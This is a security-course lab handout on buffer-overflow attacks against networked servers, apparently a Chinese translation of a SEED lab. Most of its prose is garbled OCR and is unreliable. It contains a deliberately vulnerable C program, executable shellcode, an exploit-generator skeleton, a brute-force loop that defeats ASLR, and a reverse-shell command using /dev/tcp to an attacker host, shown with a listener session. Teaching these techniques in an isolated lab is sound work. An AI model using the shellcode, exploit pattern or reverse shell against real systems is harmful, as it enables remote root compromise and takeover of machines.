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2.1 PP M e

FEITIRAR SR 2 1, P17 2 PRk FELAC B AR A E 5Pl A0, Bl 120 R . EmTPA
A fir ok L 2L

$ sudo /sbin/sysctl -w kernel.randomize_va_space=0

2.2 AHERTAR)

Y Tk BRI 440 stack.c, [T server-code SCPFSeR. TAREITHLAGEIX
HELHHRT , 501255 R R THCRZR xoot BURR. ISR IURS 205 73R4 JR BT, FROAT AL
S SR P A R

Listing 1: fE7EIRIHMIAEF stack.c
#include <stdlib.h>
#include <stdio.h>

#include <string.h>

/x F B AR BRI R .

* BTN EFERMME, W EFAERAIERER. =/
#ifndef BUF_SIZE

#define BUF_SIZE 100

#endif

int bof (char *str)

{
char buffer [BUF_SIZE];
/* T Y E A T A R K R AL *+/
strcpy (buffer, str);
return 1;
}

void foo(char *str)

{

bof (str) ;
int main(int argc, char **argv)
{

char str[517];

int length = fread(str, sizeof(char), 517, stdin);
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foo(str);
fprintf (stdout, "==== Returned Properly ====\n");

return 1;

EARFERPAFAE G K i A . BRI AR, SRS R A 2 bof O BUTY
TG RN . R AR BRI R 517 47, {H bof O WG X A BUF_SIZE 735K (/)
T 517). RKAEZGM K .

AR RAERA root ALFRAAR 54 Loz AT, FH-RFhmife i AT 1) 2 fie 55 - S 2 ] i) TCP
B, I, BP s b LA i P AR SRECEEE . SR IG5 RRAS R 22 o DXV HE D], AT Tt m]
PATERR 55t £3845 root shell,

k. g LREETRERER, FEM ] -fno-stack-protector fll "-z execstack" ¥EI X
M StackGuard FIIER PUTHERRRY . THIE— Do M6l 1 (FMEA & L1 #E T stack.c H1fY)
BUF_SIZE ¥ #{H):

$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c

FATRHE stack BRFFHiFs 32 (iA1 64 LIP3k SO FATR TR ER) Ubuntu 20.04 [
Hlig 64 BLEEIMIL, (B SRy 32 AL i S0 . FATHTFEAE gee fAird P -m32 FEIWORSLH 32 7
. X 32 i, FATWRM -static A M—MESHEEW AT AT O, 2= BE S HA
WAL TAEATZNZS . PEAFRATR A e h B8 2238 32 fahis

Gk S OB Makefile o BRI A make RIMATIX M4, A8 L1, L2, L3 fil L4
1t Makefile "R E , HF AE i R P S 5 U , T 200 FT AT U2 1 %)) bof-containers
SIS DAEZZR T AR o DATT fir 2 58 U RN 2228
$ make
$ make install

oo N T HEARSE S5 RSN, BT AZOR 2GS A BUF _SIZE {ER BB 4
BS54 US. 7E Makefile Wi, BUF_SIZE WY{H M PUAEH L1, ..., L4 BE . BUMAIARIEAT @ik

P B(E

o L1: #EHFE—/T 100 F1 400 Z [AIAELF

o L2 BT 40 Fl 200 Z [A] 5

o L3: &/ T 100 F1 400 Z ] ECF

o Ld: BEFE—NTT 20 F1 80 Z[AIMELT: FRATHRELRAEX AR /N, ARG E—2 55 H
PR .

M55 G RefF. e server-code U, WLAKE|H N server.c MAR)Y. XM AT EAD
Mo BTG 9090, MEILE] TCP HEN, KU stack )¢, HF% TCP EHEAM isER A



SEED 5% — ZEahIX i i gili 4

fefitay stack fifp. XAE, 7E stack BEHURRMER AR, SChr 2T TCP 8 ERy%EdE, B
X TCP & it FAEATEPYEE server. ¢ AU,

2.3 HABCEMmA

TH M SEIG ) 35 T 3 Labsetup. zip SCAFEIR VM o, T, #FA Labsetup U3, )5 H
docker-compose.yml USRI . XX S B AL E 5 Dockerfile SCAFHT I AT
G AT DALEBE R AR S0 Wt g P B ep ). AR RS R I 4028 B SEED 9L
IR, AR TR .

TE R, AP T—285 Docker Fl Compose #EHYH Haird. BT FATTRE A5 40 Z A X
ey, FBLFRATAE bashre SO (FEFRATHALR SEED Ubuntu 20.04 MEHMLH) S ei1aE: 75
#

$ docker-compose build # HE I A B4 HK
$ docker-compose up # BEAE
$ docker-compose down # * &2

// ER Compose #r4-Hy A%

$ dcbuild # docker-compose build # 5l &
$ dcup # docker-compose up w5l %
$ dcdown # docker-compose down # 5l 4

ARG 61817 BAEAAS biafran s, WATHEFERGAAF D Shell o HEFHEMM
docker ps 2R HA#H) ID |, RG] docker exec FEiZZA s a3 Shell . I TELAE .bashrc
SO X A i B T 44

$ dockps // docker ps --format "{{.ID}} {{.Names}}" #y%|%
$ docksh <id> // docker exec -it <id> /bin/bash 7| %

/ THEHHAFRETTwMEZN C A#HEE Shell
$ dockps

b1004832e275 hostA-10.9.0.5

Oaf4ea7a3e2e hostB-10.9.0.6

9652715c8e0a hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a: /#

/] E: R —% docker #4FEEH ID, KAFE
// WMANEAN ID FHE, ARCMNERAEEY YT
// RE—T—#, MARMATNUNFHERRET .

AISRARAE U B SC I IS I il B 78, BT AT “Miscellaneous Problems” #54» A1 534 il
HRITE,
LR AR B A R R BT I T F A SR B R WTLAS e Y T 2 M 1
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HE. TEB1T "docker-compose build" figS i Docker Q2 1, A7 EMIFIHRE HIRFS AT
i3] bof-containers 4-Jep, X—FIEEAE Section @ ik,

3 155 1: & Shellcode

G DX i e W B 2 H R 2 R R ARSI A B AR, A A AS AR S 7 B ARFE P AR T
P47, Shellcode R RZHMRBITATGE T ZHHME AR ILRITGEL AR5 KRR E .

Shellcode @ A T HEATGE . B4 FE—BUmas) shell (RS, I HiEEHILREST RS .
TEIC RS, AR ML T4 Shellcode 1) —JEHIRA, H A MR TR, KoY R L.
TR LGS Shellcode B4R, HAEM TS Shellcode, %[44 (Shellcode Laby ) SEED
5256, PARTFRATIE R 32 ff#) x86 Shellcode liA, amd64 A4S BRI

shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff \xff\xff"

"/bin/bash*" (1)
M-ck" (2]
"/bin/ls -1; echo Hello; /bin/tail -n 2 /etc/passwd *! (3)
# XATHE * EAMLERR *

"AAAA"  # LH{LfF, XN argv[0] --> "/bin/bash"
"BBBB"  # LA, X argv[1] --> "-c"
"CCCC"  # W fLAE, MR argv(2] --> A FHE
"DDDD"  # L fiff, * N argv[3] --> NULL

) .encode('latin-1")

% Shellcode J52) T "/bin/bash" shell #J7 (17 @), (AL ERLE THNSE: " (T @) Fil—
AT (17 ©). XEM shell FIFRHEITE “ASET G L. RLEFFRERBH * U2 H107
¥, HAEPAT Shellcode IFABR N —DFFHr, R 0x00, BADFAFHRFTEA —INFREW, HIL
IIARBEIE T AL Shellcode 1o ML, FATERDFARERRARREBCE T— 564, TEHITERE DI
HAF B AT

WIRFATA Y Shellcode izfTHAR AL, HFBUCEH © 1N ar AR RIF o BAESEAT I e,
TR BB XA PRI B, Bh argv (1 B ARG E (BEEMSTREZE)
et SRS TE Shellcode (1) —HEMIER Y. QR THREE, WFEES GBS . T IRFEHZFAT
R E S THRIM A E, G0 ARSI g2tk .

0] PAFE shellcode U3 Hp4k 21—~ 1) Shellcode. BT A W1~ Python 27 : shellcode_32.py
F1 shellcode_64.py, 49T 32 fifl 64 fii Shellcode., XFH4 Python F&JF$HHE 3k Shellcode
B codefile_32 fll codefile_64 H1, )5, WA/ call_shellcode H#fTHH 1 Shellcode,

// A% Shellcode = t#| Xt
$ ./shellcode_32.py = 4 & codefile_32
$ ./shellcode_64.py = 4 R codefile_64
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// % # call_shellcode.c
$ make = A & a32.out F¢ ab4.out

// W& Shellcode

$ a32.out = 4T codefile_32 W} Shellcode
$ ab4.out = 4T codefile_64 H } Shellcode

f£55. H1BEL Shellcode, PAEGHT PARE I EARMIER—A3CHF. iRFEUE SR Shellcode AHFTESLE:
ERET, I BRI

4 55 20 H—K

BIATE AR docker-compose.yml SUPFEBIZA RIS, FF2isfr U AZEas, URIRERZ
BIRIHE S . FANPRAEXMESF P UETE — K

4.1 553

BT HIRETE 10.9.0.5 Fizfragiks#s (58 9090, ZAE/F stack &4~ 32 fif
PIFET) o FRATE JeImI RS fe R A IERNE. BB R BRAITE AT EE (SLhER
FTH E AT BEAR[A] ) .
/] ERBAE (B EHALE)

$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

/] BAREE R ATH B &

server-1-10.9.0.5 | Got a connection from 10.9.0.1

server-1-10.9.0.5 | Starting stack

server-1-10.9.0.5 | Input size: 6

server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): Oxffffdb88 PAY
server-1-10.9.0.5 | Buffer's address inside bof(): O0xffffdb18 Phe
server-1-10.9.0.5 | ==== Returned Properly ====

Wes5tr e Mz 517 FHREdE, HERRMZEPREABAKR, X FHZEh XK. &
FAAT: 95 2 1 Tt 8T AR P ) o R R Ty AT PR AFAE— AN SO b, AT DA PATE i -
KARL S5 -

$ cat <file> | nc 10.9.0.5 9090

WA AR S5 SRR P IR R IR [0, KF&ATHI "Returned Properly". HINRBCAFEFIXMHE, MFR
stack FEfP W BEC LAl IS aIIFARERIZAT I I SR I 34

X AMESS T, FATHE G b XU BGE TR SR — 28R 885 BN BR Bon g, X dhmidaet
ME A et X . 7E %86, amd64 FI arm64 ZUA R, WiwFA7a% 70 Al 44 ebp. rbp Jz x29. f
A RAR] R AR £ B A S R i o 2 A
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WMBEBLYE.  FRATERE PRI T — R BN, (A R AY 24 S BN [ ) G DX b Rt £
Ho XLEHEHAALESERNA U, HEAEERIFASEI RSN, maE BT
(A2 BT OIRAA ) o X FREENLE S H L BEV AL [ . HoME— 2 B2 A i A B
A

4.2 GRS R T

TR B AR i e DXt R, BRI R A — DB A, R E— A SO (3
IIRFEA SCR 1] badfile FEASCIFA ). FATRHEEM Python FRfFRSLBLX— . FAHRME T —4>
% exploit.py MIFEFHEL, HEME SELRIPEICE . (UM AERE, 24T L
KHELE

Listing 2: B4 (exploit.py)
#!/usr/bin/python3

import sys

# &V DL A G SRS 11 shellcode
shellcode = (
% FEEY #

) .encode('latin-1")

# L NOP BB
content = bytearray(0x90 for i in range(517))

D T L L A T L L I L L S
# % shellcode 73 i #f oy ML E

start = 0 # Y FEEH X

content [start:start + len(shellcode)] = shellcode

# P R E M, PR ERER R EMLE
ret = 0x00 # % FEFER X
offset = 0 # Y FEFER K

# RECHEFER 4 XF 8 FHEXAS
content [offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
S e e s R s e e e e e

# BWAETAX M
with open('badfile', 'wb') as f:

f.write(content)
LEGSE PR IS , B TR . XK badfile HINES, RIGIFHERARSE. R

TR AU S B, WIZTHCEE shellcode PNHEBIY AN S-FF ST WRER AL Thih, ¥
RERSTE AR T R REE 2 IR MR DURAS S L AR 55 4 00T T IS a2
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$./exploit.py // f|#& badfile
$ cat badfile | nc 10.9.0.5 9090

[l shell,  HASLHGhE A RREIZAT A HUER Ay 2, My BAE H ARl 55 % L 3RE—4> root
shell, XEEHL AT ABATAEar 2 I THATEZRR , WRAOGER ST 4800 T /bin/sh X FERY) shell F2/7,
FAIE B HIEA shell #2711 shell EARFML FI B —FUHSAR, W24 L W oAzkE T
BT B shell BITEAIGERT . T2 shellcode Hfar - FAFHE, LAERT AYE H AR IS # EARAF—A> %
1] shello TH7ESCER 25 IR AR AR .

5 fF5% 3: 45k

TEAMESS o, FRATRE R A O R, R R — 28885 R . FRATTA AR S5 4% 10.9.0.6, i
H5452 9090, H.5)ZBGEMARF i 32 FifRfr . JATE Jom il 55 de ik — D IEFHE. AT 2
HARZ T E BT R

/] ERPMN (BREENE) £
$ echo hello | nc 10.9.0.6 9090
Ctrl+C

/1 AT H R A R

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack

server-2-10.9.0.6 | Input size: 6

server-2-10.9.0.6 | Buffer's address inside bof(): Oxffffda3c
server-2-10.9.0.6 | ==== Returned Properly ====

MBS, REHBOIRME T AR, BohXAbhE, MERA SRR X RRE e X
RANERFE XA %I AOS F— IR ME . SRS S IR/NAT DAYE Makefile
kB, BT PRI X LR, PO E SR IS R AR 2 B AN B AN SCPFRY - i
PS5, FAMRRZ P KR/ NRFE R E AR . 0 — DM ETREA ISR, T INAEsr R Js A
15 32 SRR HHE T IEEE 4 IR, 78 64 RIREFE e 8 AIREEL.

ZwRANEE (FHA#A) : [100, 200]

TR 55 2 M —A> payload A IR 55 #% L G X e ik, s ) shell $EARTE H AR
5t LA root shell, IHYER, RHAEMIE —1> payload, "BUAAAEL %L Bl AT 200 X KN
R 2 BRI IE (AR KRN, IR . 2ol , Bas)
B H R, PR D S RO T BGE AR R R, ARSI o, RERREITEA,
PAR
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6 fF55 4: 45 3 %

TEZAINIIES h, TRATHF BRI SREE 32 BB, B AMES T, FNTREEDIE 4 64 (L)
s B8ER . FRATHFTEBRH 10.9.0.7, BHILEITHIR 64 RIAH stack B, HYE, RAMF
BRSBTS 24T HD P R O

/] RV (B EHENE) E
$ echo hello | nc 10.9.0.7 9090
Ctrl+C

/] BEEEHEE
server-3-10.9.0.7
server-3-10.9.0.7

Got a connection from 10.9.0.1

Starting stack

server-3-10.9.0.7 Frame Pointer (rbp) inside bof(): 0x00007fffffffelbO
server-3-10.9.0.7 Buffer's address inside bof(): 0x00007ff£ffff£fe070

[

|
server-3-10.9.0.7 | Input size: 6

|

[
server-3-10.9.0.7 | ==== Returned Properly ====

YR0] DA B Mg EF A g2 of XMk (EERAE A 8 FE4 K (I 32 (A2 e 4 F277) o ARMATESS 2
R R G5 28 00 o X3S i o AR ERe ) B AR 2 1E H AR IR 5 2% 13K A5 root shell. 4RI DA
I MAESS 1 H1) shellcode, {HZARTEEAH A 64 A shellcode.

Ptk 5 32 fubLd B Zeh DR M A e, AR 64 SEALAs BRSO IR ME . S ATMER S AE T
Hudi R, AR x64 ZEM SR 64 [k s (A], fHH AT SRR 0x00 F] 0x00007FFFFFFFFFFF FHiLIE .
REWRER—A 8 FATHUL RS PIALE R AT . XU 7R

TERATR Gt K B Uh T, FRATFRER 20— MUk E T b, IRl strepy O BRECR
B . JAVALE strepy O RBSAEB R FHHEILE 6. L, WRBEPEBH T 0%, W
BB LGN EIFA BB o AR pX A R X — R R o PR 2 — o FEARB R
R LI AR ] AR i A 1 A o

7 %% 5: 54 %

TEBLAESS IS #5950 3 R IRSFASHI L, AR ZAAET G KRN/ MG L . DA R o
AT LAE Bl A Zenh Xk [RIEEEG LS 3 E/IMRZ . AR A ARSI 2R SRBULAR 55 4%
£ root shell, Hiz g5 &/h2x A AR LA 517 A5 Bt A -

server-4-10.9.0.8
server-4-10.9.0.8
server-4-10.9.0.8
server-4-10.9.0.8
server-4-10.9.0.8
server-4-10.9.0.8

| Got a connection from 10.9.0.1

| Starting stack

| Input size: 6

| Frame Pointer (rbp) inside bof(): 0x00007fffffffelb0
| Buffer's address inside bof(): 0x00007fffffffe190
|

==== Returned Properly ====
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8 £S5 6: SBRHbhERGHLIL

TEARSLI IR, FATRA T Hrp— R it — ik 2S8R R (ASLR) . FEXAMES
F, AT IR ZIEE, NS B . 0] DATEREUNL_Eiz 4T A R a4 R JE ] ASLR,
WHBCRERPERY, I HARF SR B AR IR TR 24 -

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

T8 S — R AN = MRS #r Ak — hello JHE, ZAJLIK. FEEMHE T, iR BRI M 4E
R, RN 25 ASLR G2 XU B0t 2 50 A

il 32 (kML PidliE, 7E 32 fi Linux RGH, Wl EEATHIEREN LA R FEAR RO 19 B X
AR, ARSI a4780L, WRA S Bbs. X 64 f2R58, M T REHULRYT AR e 2 5

TEXAMESS o, FATRAAE 32 FL5E — KA 55 b2 itk o ARG 28 1 07 ¥R S Wt i
e g5, ArBBBA TR B AL AR A 2 )R IR o FATHRHOE AR SE — R UGl R B 2. SR RAGE
JAPAT Shell B RS2 Bt H AR 55 4. AASENARAT S ) shell, A SAFEIL, WERERWBIZ, 1 10
0B AR AT AZRIR ] — AN B shell.

#!/bin/bash

SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$ (($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
cat badfile | nc 10.9.0.5 9090

done

9 LS5 T B IABBS PR i

9.1 4£55 7.a: 3 StackGuard R

WEIES, W gee, LT —FFRA StackGuard WIZAALH], PABT IEGEvh UG . A B3
BURIRIEOL T, Zeod DX B R 2Rk SEme B A7 R AEAR S A StackGuard R TE L
THER) . TEXMES T, FOTRHTHEHF WSS KL 4

5 HI{F server-code {4}, ¥E gcc ZH (A -fno-stack-protector IEIN, I B H4iF
stack.c. FRAUUM stack-L1, (HYHLERGTBITERET, RAGFEBEMNGATEITE. HEIE
—NADAEEE M X B SO, SRR ) stack-L1 A AZSCIFRY NS . IR T ARRE R LR 4R
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$ ./stack-L1 < badfile

9.2 {£5 7.b: FUIA I PATERDY

PR R G R ARV PATRR A, (HEER L E 2 Zs . #F Ubuntu #ERSG Y, By (Alt=
) B iR A R A TR S TR AT, B e R B R Sk iR B AR B R ER
A EEREA I IR IC R B 2 B LB T IR P AR W AT EAS AT AT AR gee HBNTERL, 2R
INE DL N ERRATTAT. AT ATESR I "~z noexecstack" #Rili %[ M H AT AT, FEFRAT]
ZHEIES S, FRAIEH "~z execstack" ffitkn[ 7.

TEMAT S, AR AT AT o FATHFAE shellcode SCHFJE 1A TiXANSLSG . call_shellcode
Iy Stk LiCE shellcode [HRIAS, RGN EHATHRID . W HEH41%F call_shellcode.c
a32.out fll a64.out, (HA{HiH "-z execstack" i&EI. zfT N1, FHIBRRABRIRIIILEL,

B TR B AT iG .  REEERR, AT HATHAUEASAER 24T shellcode AFRE, HIXFFA
AE e 4By Ik Gk D UGy, PR idAy et 7 A AT A o BN return-to-libe ralyo FATALL
BT T — A S . ARARESER, 2 WAATTH Return-to-Libe Mrisisi.

10 Guidelines on Reverse Shell

[ i) shell f) g REAEZAF shell PRSI A . it RIER DRIE A B2 1) B U238, SXAF: shell By
MIZTEERAR A, TR AR AR M . (EE R 7 — s TR R Wl B AR, XM He
RRAH Ui shell B2JFFTEIHORAYAZS, HRFLGE AR A0 I W 2 145 21k 45 shell 227

Wi i ) — 2P /2 netcat, QIRHA] -1 I, W Z&izfr Wi E R W TCP fiids
firo MRS AR REIF AT VR o AR RN, LM PR AR A &% . A2 I Scs T, 3
IIRFfE netcat (50 nc) MHEWT 9090 5 H . FAVLOHER 7.

Attacker(10.0.2.6):$ nc -nv -1 9090 <« Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5) :$ < Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255

LiRAY ne fro-PHEE, SFRFER. BRATMEMRS AR (10.0.2.5) EHBEGEITVAN bash 27, X2
AU ety 2 o A R 55 e LA . XA bash fip 55 Bl B HLAR Y 9090 B 11 27—~ TCP
R, MM IE— A5 shell, FATH A _EIASERHFH 2] shell P05 msT, XM shell F2f7 Ik
FEMR S5 #r Lasdr. FATAIAEL A ifconfig Ay kKL IP HIbbAGSLy 10.0.2.5, X2/ TS
#rf) IP Hidik. PARJE bash fiy4-:
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Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
bikan 4 RS, FRATHE R WIDEAT PEAN I R -
* "/bin/bash -i": @I i FIRZRLEM, FRE shell F2/F SR shell #7577

e "> /dev/tcp/10.0.2.6/9090": Xfif5 shell F2J7 ByArifEHi i % stdout P & m] F— 5 E
i) TCP E$#:. J£ unix &ZiH, stdout AR 1.

o "O<&1": SCUFHEIARFF 0 FRFRMER A KA stdin. MEBETER R G060 AR e B AR A in it o
ABLH . BT AR i E g ] TCP 8, NIthriEm AR [ —4> TCP %,

o "2>81": SUIHAST 2 FORPRIEGTR stderr, XS AR Hh Ll EE 17 2 [/ — 4> TCP #$2.

B2 4 "/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1" 7EARF#sHles L5 5h T bash
BT, EACKE— TCP iE#:, Mt Lk 2IHF M TCP & UI;ATHE 10.0.2.5 EHATIXF
bash fy&-0f, ‘B4 Mm% 10.0.2.6 _FiafTH netcat #HF2. 1T netcat E/RAY “Connection received
on 10.0.2.5...7, FAT] DAFAIAIX A5 .

11 $EAE 30

RGBS — Uy A AR P 1) T S 6 A1 15 R A e ) AR MR 2 A TSR . AR 75 2% —
SO NI TR LSS S R A TR o i (] N 971 1 o ) AR BT B ARe . U M7 s bt _EAURD
AIVATEREA 23055453
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